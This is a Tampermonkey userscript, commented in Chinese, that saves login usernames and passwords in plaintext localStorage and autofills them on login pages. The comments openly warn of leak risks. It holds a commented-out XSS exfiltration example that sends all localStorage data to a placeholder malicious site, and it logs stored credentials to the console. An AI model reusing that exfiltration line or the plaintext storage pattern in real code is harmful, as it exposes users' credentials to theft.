// ==UserScript==
// @name remember and fill
// @namespace http://tampermonkey.net/
// @version 1.9.5
// @description 记住网站的账号密码
// @author You
// @match *://*/*login*
// @match https://*/register*
// @match https://www.sanxijichang.com/*
// @run-at document-start
// @icon https://www.baidu.com/favicon.ico
// @grant none
// ==/UserScript==
/**
* 1、本脚本使用localStorage来记住网站的账号密码
* 2、该脚本有泄露账号密码风险,包括本地数据泄露和远程数据泄露
* 3、本地数据泄露:
* 4、账号密码均为明文存储,物理设备丢失后有泄露风险。打开已记住的网站后
* 可在更多工具-开发者工具-应用-存储-本地存储空间-域名查看记住的账号密码
* 5、登出账号和关闭浏览器不会删除localStorage
* 6、如需删除记住的账号密码,选择清除数据-网页存储
* 7、如果填充失败可刷新页面让脚本再次填充,手动输入则会覆盖已记住数据
* @returns
*/
const via = {
// true改为false默认记住不询问
isAsk: false, // 轮询计数器最大值(最多循环查询50次耗时略大于5s)
counterMax: 50, // 版本(1.0版本更简单,适用网站更广)
version: 2.0, // 超时时间检查(登录网页适配失败后半秒后再检查一遍)
timeoutCheck: 250,
timeoutCheckTimes: 10,
/**
* 移除网站记住的数据
*/
remove: function () {
localStorage.removeItem('via_isConfirm');
localStorage.removeItem('via_username');
localStorage.removeItem('via_password');
localStorage.removeItem('via_email');
}, /**
* 远程数据泄露:
* 如果一个网站存在XSS漏洞,那么攻击者注入如下代码
* 就可以获取使用localStorage存储在本地数据
*/
print: function () {
var i = 0;
var array = [];
while (localStorage.key(i) != null) {
var key = localStorage.key(i);
array[key] = localStorage.getItem(key);
i++;
}
//console.table(array);
console.log(array);
//document.location="http://your-malicious-site.com?stolen="+ array;
}
};
(function () {
// 声明定时器
var timer = null;
whenReady(function () {
if (via.version == 2.0) {
return recursiveQuery2();
} else {
return recursiveQuery();
}
});
/**
* 判断document是否加载完成
*/
function whenReady(func) {
console.time("轮询耗时");
/**
* document.readyState属性描述了文档的加载状态。一个文档的readyState可以是以下之一:
* loading——加载,此时document仍在加载
* interactive——互动,此时文档已经完成加载,文档已被解析,但是诸如图像,样式表和框架之类的子资源仍在加载。
* complete——完成,此时T文档和所有子资源已完成加载。状态表示 load 事件即将被触发。
*/
if (document.readyState === "interactive" || document.readyState === "complete") {
func();
} else {
/**
* DOMContentLoaded:当初始的 HTML 文档被完全加载和解析完成之后,DOMContentLoaded 事件被触发。
* 无需等待样式表、图像和子框架的完成加载。——interactive
*/
document.addEventListener("DOMContentLoaded", func);
}
}
/**
* 递归查询密码框
*/
function recursiveQuery() {
var index = null;
var allInput = document.getElementsByTagName("input");
var allShownInput = [];
for (var i = 0; i < allInput.length; i++) {
/**
* background作用域为div边框包括padding往里
* 不包含margin,margin不为0时background大小将小于div的height*width)
* input输入框位于padding里面(不包括padding)
* offsetWidth 属性是一个只读属性,它返回该元素的像素宽度,
* 宽度包含内边距(padding)和边框(border),不包含外边距(margin),是一个整数,单位是像素 px。
* offsetWidth 数值由实际计算得出,如果该输入框被隐藏了则offsetWidth为0px。
*/
if (allInput[i].offsetWidth > 0) {
allShownInput.push(allInput[i]);
if (allInput[i].type == "password") {
index = allShownInput.length - 1;
console.log("密码框:document.querySelectorAll('input')[" + i + "]");
console.log(allInput[i]);
}
}
}
if (!index) {
if (via.counterMax > 0) {
--via.counterMax;
timer = setTimeout(recursiveQuery, 100);
} else {
console.timeEnd("轮询耗时");
}
} else {
ask(allShownInput, index);
}
}
function recursiveQuery2() {
let index;
const allInput = document.getElementsByTagName("input");
let allShownInput = [];
for (let i = 0; i < allInput.length; i++) {
if (allInput[i].offsetWidth > 0) {
allShownInput.push(allInput[i]);
if (allInput[i].type === "password") {
if (!index) index = allShownInput.length - 1;
console.log("密码框:document.querySelectorAll('input')[" + i + "]");
console.log(allInput[i]);
}
}
}
if (allShownInput === []) {
if (via.counterMax > 0) {
--via.counterMax;
timer = setTimeout(recursiveQuery2, 100);
} else {
console.timeEnd("轮询耗时");
}
} else {
console.timeEnd("轮询耗时");
if (index) {
ask(allShownInput, index);
} else {
console.time("延时耗时");
setTimeout(function () {
isShowPass(0);
}, via.timeoutCheck);
}
}
}
/**
* 半秒后是否显示密码框
*/
function isShowPass(times) {
let index;
const allInput = document.getElementsByTagName("input");
const allShownInput = [];
for (let i = 0; i < allInput.length; i++) {
if (allInput[i].offsetWidth > 0) {
allShownInput.push(allInput[i]);
if (!index && allInput[i].type === "password") {
index = allShownInput.length - 1;
console.log("密码框:document.querySelectorAll('input')[" + i + "]");
console.log(allInput[i]);
}
}
}
if (index) {
console.timeEnd("延时耗时");
ask(allShownInput, index);
} else {
if (++times <= via.timeoutCheckTimes) {
setTimeout(() => isShowPass(times), via.timeoutCheck);
} else {
console.timeEnd("延时耗时");
}
}
}
/**
* 询问
*/
function ask(allShownInput, index) {
// 清除定时器
if (!timer) {
clearTimeout(timer);
}
// 包含两个以上输入框
if (index > 0) {
// 询问则确认是否记住密码
if (via.isAsk) {
if (!localStorage.via_isConfirm) {
// 一个网站只询问一次
if (localStorage.via_isConfirm === '') {
return;
}
if (!confirm("记住本站密码吗?")) {
localStorage.setItem("via_isConfirm", "");
return;
} else {
localStorage.setItem("via_isConfirm", true);
}
}
}
rememberFill(allShownInput, index);
}
}
/**
* 记住密码并填充
* @param allShownInput 所有可使输入框
* @param index 密码框索引
*/
function rememberFill(allShownInput, index) {
// 密码前一个为用户名
const username = allShownInput[index - 1];
const password = allShownInput[index];
// 填充账号密码
let isFill;
if (localStorage.via_username) {
// username.value = localStorage.via_username;
// 找不到 email、name、username 根据密码框位置填充
allShownInput.forEach(input => {
if (input.name === 'email' || input.id === 'email'
|| input.name === 'name' || input.id === 'name'
|| input.name === 'username' || input.id === 'username') {
keyboardInput(input, localStorage.via_username);
isFill = true;
const select = input.parentElement.querySelector('select');
if (select) {
keyboardInput(select, localStorage.via_username + localStorage.via_email);
const selectElement = select
for (let i = 0; i < selectElement.options.length; i++) {
if (selectElement.options[i].text === localStorage.via_email) {
setTimeout(
() => select.parentElement.querySelector('select').selectedIndex = i,
100)
break;
}
}
} else {
// 没有select框,并且保存有邮箱
if (localStorage.via_email) {
keyboardInput(input, localStorage.via_username + localStorage.via_email);
}
}
}
})
if (!isFill) {
// 如果密码前一个不是用户名,则再往上找input
if (username.type === 'password') {
if (localStorage.via_password) {
keyboardInput(username, localStorage.via_password);
}
keyboardInput(allShownInput[index - 2], localStorage.via_username);
} else {
keyboardInput(username, localStorage.via_username);
}
// 没有select框,并且保存有邮箱
if (localStorage.via_email) {
keyboardInput(username, localStorage.via_username + localStorage.via_email);
}
}
}
if (localStorage.via_password) {
// password.value = localStorage.via_password;
allShownInput.filter(input => input.type === 'password').forEach(input => {
keyboardInput(input, localStorage.via_password);
})
}
// 监听input输入保存到localStorage
isFill = false
allShownInput.forEach(input => {
if (input.name === 'email' || input.id === 'email'
|| input.name === 'name' || input.id === 'name'
|| input.name === 'username' || input.id === 'username'
|| input.placeholder.match(/邮箱$|email|名|name|user/)) {
input.addEventListener("input", function () {
localStorage.setItem("via_username", input.value);
});
let select = input.parentElement.querySelector('select');
setTimeout(
() => {
select = input.parentElement.querySelector('select');
console.warn(select)
if (select) {
if (select.text) {
localStorage.setItem("via_email", select.text);
} else {
localStorage.setItem("via_email", input.parentElement.querySelector('select').options[0].text);
}
select.addEventListener("change", function () {
localStorage.setItem("via_email", this.selectedOptions[0].text);
});
}
},
1100)
isFill = true
}
})
if (!isFill) {
username.addEventListener("input", function () {
if (username.type === 'password') {
localStorage.setItem("via_username", allShownInput[index - 2].value);
} else {
localStorage.setItem("via_username", username.value);
}
});
}
password.addEventListener("input", function () {
localStorage.setItem("via_password", password.value);
});
via.print();
}
/**
* 键盘输入
* 作用: 有些时候会遇到使用 document.getElementById().value="xxx"; 的时候,
* 页面的输入框中显示有值,但提交按钮显示用户还未输入..这就需要下面函数了
*/
function keyboardInput(dom, st) {
// 输入事件
const evt = new InputEvent('input', {
inputType: 'insertText', data: st, dataTransfer: null, isComposing: false
});
// 赋值
dom.value = st;
// 调度事件
dom.dispatchEvent(evt);
}
})();